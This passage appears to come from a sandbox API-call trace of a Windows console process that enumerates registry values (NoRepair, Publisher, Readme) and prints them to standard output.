") returned 4 [0147.328] _fileno (_File=0x7fefd702ab0) returned 1 [0147.328] _errno () returned 0xc4bb0 [0147.328] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.328] _errno () returned 0xc4bb0 [0147.328] GetFileType (hFile=0x50) returned 0x1 [0147.328] lstrlenW (lpString=" ") returned 4 [0147.328] GetConsoleOutputCP () returned 0x1b5 [0147.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.328] GetConsoleOutputCP () returned 0x1b5 [0147.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.328] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.328] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.328] lstrlenW (lpString="NoRepair") returned 8 [0147.328] __iob_func () returned 0x7fefd702a80 [0147.328] _fileno (_File=0x7fefd702ab0) returned 1 [0147.328] _errno () returned 0xc4bb0 [0147.328] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.329] _errno () returned 0xc4bb0 [0147.329] GetFileType (hFile=0x50) returned 0x1 [0147.329] lstrlenW (lpString="NoRepair") returned 8 [0147.329] GetConsoleOutputCP () returned 0x1b5 [0147.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.329] GetConsoleOutputCP () returned 0x1b5 [0147.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0147.329] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.329] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.329] __iob_func () returned 0x7fefd702a80 [0147.329] _fileno (_File=0x7fefd702ab0) returned 1 [0147.329] _errno () returned 0xc4bb0 [0147.329] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.329] _errno () returned 0xc4bb0 [0147.329] GetFileType (hFile=0x50) returned 0x1 [0147.329] lstrlenW (lpString=" ") returned 4 [0147.329] GetConsoleOutputCP () returned 0x1b5 [0147.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.329] GetConsoleOutputCP () returned 0x1b5 [0147.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.330] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.330] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.330] __iob_func () returned 0x7fefd702a80 [0147.330] _fileno (_File=0x7fefd702ab0) returned 1 [0147.330] _errno () returned 0xc4bb0 [0147.330] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.330] _errno () returned 0xc4bb0 [0147.330] GetFileType (hFile=0x50) returned 0x1 [0147.330] lstrlenW (lpString="REG_DWORD") returned 9 [0147.330] GetConsoleOutputCP () returned 0x1b5 [0147.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.330] GetConsoleOutputCP () returned 0x1b5 [0147.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.330] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.330] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.330] __iob_func () returned 0x7fefd702a80 [0147.330] _fileno (_File=0x7fefd702ab0) returned 1 [0147.330] _errno () returned 0xc4bb0 [0147.330] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.330] _errno () returned 0xc4bb0 [0147.330] GetFileType (hFile=0x50) returned 0x1 [0147.330] lstrlenW (lpString=" ") returned 4 [0147.330] GetConsoleOutputCP () returned 0x1b5 [0147.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.331] GetConsoleOutputCP () returned 0x1b5 [0147.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.331] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.331] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.331] __iob_func () returned 0x7fefd702a80 [0147.331] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.331] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.331] _fileno (_File=0x7fefd702ab0) returned 1 [0147.331] _errno () returned 0xc4bb0 [0147.331] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.331] _errno () returned 0xc4bb0 [0147.331] GetFileType (hFile=0x50) returned 0x1 [0147.331] lstrlenW (lpString="0x1") returned 3 [0147.331] GetConsoleOutputCP () returned 0x1b5 [0147.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.331] GetConsoleOutputCP () returned 0x1b5 [0147.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.331] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.331] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.332] __iob_func () returned 0x7fefd702a80 [0147.332] _fileno (_File=0x7fefd702ab0) returned 1 [0147.332] _errno () returned 0xc4bb0 [0147.332] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.332] _errno () returned 0xc4bb0 [0147.332] GetFileType (hFile=0x50) returned 0x1 [0147.332] lstrlenW (lpString="\n") returned 1 [0147.332] GetConsoleOutputCP () returned 0x1b5 [0147.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.332] GetConsoleOutputCP () returned 0x1b5 [0147.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.332] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.332] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.332] GetProcessHeap () returned 0x2e0000 [0147.332] GetProcessHeap () returned 0x2e0000 [0147.332] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.332] GetProcessHeap () returned 0x2e0000 [0147.332] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.332] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.332] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.332] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0147.332] GetProcessHeap () returned 0x2e0000 [0147.332] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0147.332] GetProcessHeap () returned 0x2e0000 [0147.332] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.332] GetProcessHeap () returned 0x2e0000 [0147.333] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.333] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0147.333] __iob_func () returned 0x7fefd702a80 [0147.333] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.333] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.333] _fileno (_File=0x7fefd702ab0) returned 1 [0147.333] _errno () returned 0xc4bb0 [0147.333] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.333] _errno () returned 0xc4bb0 [0147.333] GetFileType (hFile=0x50) returned 0x1 [0147.333] lstrlenW (lpString=" ") returned 4 [0147.333] GetConsoleOutputCP () returned 0x1b5 [0147.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.333] GetConsoleOutputCP () returned 0x1b5 [0147.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.333] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.333] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.333] lstrlenW (lpString="Publisher") returned 9 [0147.333] __iob_func () returned 0x7fefd702a80 [0147.333] _fileno (_File=0x7fefd702ab0) returned 1 [0147.333] _errno () returned 0xc4bb0 [0147.333] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.333] _errno () returned 0xc4bb0 [0147.333] GetFileType (hFile=0x50) returned 0x1 [0147.333] lstrlenW (lpString="Publisher") returned 9 [0147.334] GetConsoleOutputCP () returned 0x1b5 [0147.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.334] GetConsoleOutputCP () returned 0x1b5 [0147.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0147.334] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.334] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.334] __iob_func () returned 0x7fefd702a80 [0147.334] _fileno (_File=0x7fefd702ab0) returned 1 [0147.334] _errno () returned 0xc4bb0 [0147.334] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.334] _errno () returned 0xc4bb0 [0147.334] GetFileType (hFile=0x50) returned 0x1 [0147.334] lstrlenW (lpString=" ") returned 4 [0147.334] GetConsoleOutputCP () returned 0x1b5 [0147.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.334] GetConsoleOutputCP () returned 0x1b5 [0147.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.334] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.334] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.335] __iob_func () returned 0x7fefd702a80 [0147.335] _fileno (_File=0x7fefd702ab0) returned 1 [0147.335] _errno () returned 0xc4bb0 [0147.335] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.335] _errno () returned 0xc4bb0 [0147.335] GetFileType (hFile=0x50) returned 0x1 [0147.335] lstrlenW (lpString="REG_SZ") returned 6 [0147.335] GetConsoleOutputCP () returned 0x1b5 [0147.335] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.335] GetConsoleOutputCP () returned 0x1b5 [0147.335] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.335] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.335] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.335] __iob_func () returned 0x7fefd702a80 [0147.335] _fileno (_File=0x7fefd702ab0) returned 1 [0147.335] _errno () returned 0xc4bb0 [0147.335] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.335] _errno () returned 0xc4bb0 [0147.335] GetFileType (hFile=0x50) returned 0x1 [0147.335] lstrlenW (lpString=" ") returned 4 [0147.335] GetConsoleOutputCP () returned 0x1b5 [0147.335] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.335] GetConsoleOutputCP () returned 0x1b5 [0147.336] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.336] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.336] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.336] __iob_func () returned 0x7fefd702a80 [0147.336] _fileno (_File=0x7fefd702ab0) returned 1 [0147.336] _errno () returned 0xc4bb0 [0147.336] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.336] _errno () returned 0xc4bb0 [0147.336] GetFileType (hFile=0x50) returned 0x1 [0147.336] lstrlenW (lpString="Microsoft Corporation") returned 21 [0147.336] GetConsoleOutputCP () returned 0x1b5 [0147.336] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0147.336] GetConsoleOutputCP () returned 0x1b5 [0147.336] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0147.336] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0147.336] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.336] __iob_func () returned 0x7fefd702a80 [0147.336] _fileno (_File=0x7fefd702ab0) returned 1 [0147.336] _errno () returned 0xc4bb0 [0147.336] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.336] _errno () returned 0xc4bb0 [0147.336] GetFileType (hFile=0x50) returned 0x1 [0147.336] lstrlenW (lpString="\n") returned 1 [0147.336] GetConsoleOutputCP () returned 0x1b5 [0147.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.337] GetConsoleOutputCP () returned 0x1b5 [0147.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.337] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.337] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.337] GetProcessHeap () returned 0x2e0000 [0147.337] GetProcessHeap () returned 0x2e0000 [0147.337] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.337] GetProcessHeap () returned 0x2e0000 [0147.337] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0147.337] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.337] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.337] GetProcessHeap () returned 0x2e0000 [0147.337] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.337] GetProcessHeap () returned 0x2e0000 [0147.337] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.337] GetProcessHeap () returned 0x2e0000 [0147.337] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.337] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.337] __iob_func () returned 0x7fefd702a80 [0147.337] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.337] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.337] _fileno (_File=0x7fefd702ab0) returned 1 [0147.337] _errno () returned 0xc4bb0 [0147.337] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.337] _errno () returned 0xc4bb0 [0147.338] GetFileType (hFile=0x50) returned 0x1 [0147.338] lstrlenW (lpString=" ") returned 4 [0147.338] GetConsoleOutputCP () returned 0x1b5 [0147.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.338] GetConsoleOutputCP () returned 0x1b5 [0147.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.338] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.338] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.338] lstrlenW (lpString="Readme") returned 6 [0147.338] __iob_func () returned 0x7fefd702a80 [0147.338] _fileno (_File=0x7fefd702ab0) returned 1 [0147.338] _errno () returned 0xc4bb0 [0147.338] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.338] _errno () returned 0xc4bb0 [0147.338] GetFileType (hFile=0x50) returned 0x1 [0147.338] lstrlenW (lpString="Readme") returned 6 [0147.338] GetConsoleOutputCP () returned 0x1b5 [0147.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.338] GetConsoleOutputCP () returned 0x1b5 [0147.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0147.339] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.339] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.339] __iob_func () returned 0x7fefd702a80 [0147.339] _fileno (_File=0x7fefd702ab0) returned 1 [0147.339] _errno () returned 0xc4bb0 [0147.339] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.339] _errno () returned 0xc4bb0 [0147.339] GetFileType (hFile=0x50) returned 0x1 [0147.339] lstrlenW (lpString=" ") returned 4 [0147.339] GetConsoleOutputCP () returned 0x1b5 [0147.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.339] GetConsoleOutputCP () returned 0x1b5 [0147.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.339] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.339] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.339] __iob_func () returned 0x7fefd702a80 [0147.339] _fileno (_File=0x7fefd702ab0) returned 1 [0147.339] _errno () returned 0xc4bb0 [0147.339] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.339] _errno () returned 0xc4bb0 [0147.339] GetFileType (hFile=0x50) returned 0x1 [0147.339] lstrlenW (lpString="REG_SZ") returned 6 [0147.339] GetConsoleOutputCP () returned 0x1b5 [0147.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.340] GetConsoleOutputCP () returned 0x1b5 [0147.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.340] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.340] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.340] __iob_func () returned 0x7fefd702a80 [0147.340] _fileno (_File=0x7fefd702ab0) returned 1 [0147.340] _errno () returned 0xc4bb0 [0147.340] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.340] _errno () returned 0xc4bb0 [0147.340] GetFileType (hFile=0x50) returned 0x1 [0147.340] lstrlenW (lpString=" ") returned 4 [0147.340] GetConsoleOutputCP () returned 0x1b5 [0147.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.340] GetConsoleOutputCP () returned 0x1b5 [0147.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.340] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.340] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.340] __iob_func () returned 0x7fefd702a80 [0147.340] _fileno (_File=0x7fefd702ab0) returned 1 [0147.340] _errno () returned 0xc4bb0 [0147.340] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.340] _errno () returned 0xc4bb0 [0147.340] GetFileType (hFile=0x50) returned 0x1 [0147.341] lstrlenW (lpString="") returned 0 [0147.341] __iob_func () returned 0x7fefd702a80 [0147.341] _fileno (_File=0x7fefd702ab0) returned 1 [0147.341] _errno () returned 0xc4bb0 [0147.341] 